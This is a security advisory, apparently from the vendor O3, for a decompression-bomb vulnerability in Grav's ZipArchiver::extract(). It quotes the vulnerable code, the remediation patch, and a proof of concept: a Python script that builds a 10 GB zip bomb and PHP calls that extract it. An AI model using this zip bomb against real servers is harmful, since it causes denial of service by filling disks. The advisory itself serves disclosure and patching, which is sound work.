GHSA-928x-9mpw-8h56 is a medium-severity (CVSS 6.5) CWE-409 vulnerability in getgrav/grav. O3 Security confirms whether GHSA-928x-9mpw-8h56 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
Details
Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Only guards against Zip Slip (path traversal)
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name !== false && !$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
}
// Extracts EVERYTHING — no size, count, or depth limit
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
What's missing vs Installer::unZip():
| Protection | Installer::unZip() | ZipArchiver::extract() |
|---|---|---|
| Zip Slip guard | ✅ | ✅ |
| Max uncompressed size | ✅ (1 GiB) | ❌ |
| Max file count | ✅ (50000) | ❌ |
| Max nesting depth | ✅ (48) | ❌ |
| Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):
// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) {
$entryName = $zip->getNameIndex($i);
// Check size, count, and depth BEFORE extracting anything
if ($limits['maxSize'] > 0) { $size += $entry['size']; }
if ($limits['maxDepth'] > 0) { ... }
if ($limits['maxFiles'] > 0) { $count++; }
// Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);
None of this validation exists in ZipArchiver::extract().
Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.
Proof of Concept
Step 1 - Create a zip bomb
# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros
for i in range(10):
z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip → expands to 10 GB
Step 2 - Extract via ZipArchiver
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted'); // ← no limits, fills disk
The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
Impact
Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
Remediation
Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Apply the same archive limits as Installer::unZip()
$limits = $this->archiveLimits();
$totalSize = 0;
$totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) continue;
// Zip Slip guard (existing)
if (!$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
// Decompression bomb guards (NEW)
$stat = $zip->statIndex($i);
$totalSize += $stat['size'] ?? 0;
$totalFiles++;
$depth = count(explode('/', trim($name, '/')));
if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
$zip->close();
throw new RuntimeException('Archive exceeds max nesting depth');
}
}
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
$zip->close();
throw new RuntimeException('Archive exceeds max uncompressed size');
}
if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
$zip->close();
throw new RuntimeException('Archive exceeds max file count');
}
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 2.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-928x-9mpw-8h56 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-928x-9mpw-8h56 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-928x-9mpw-8h56. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-928x-9mpw-8h56 in your dependencies?
O3 detects GHSA-928x-9mpw-8h56 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.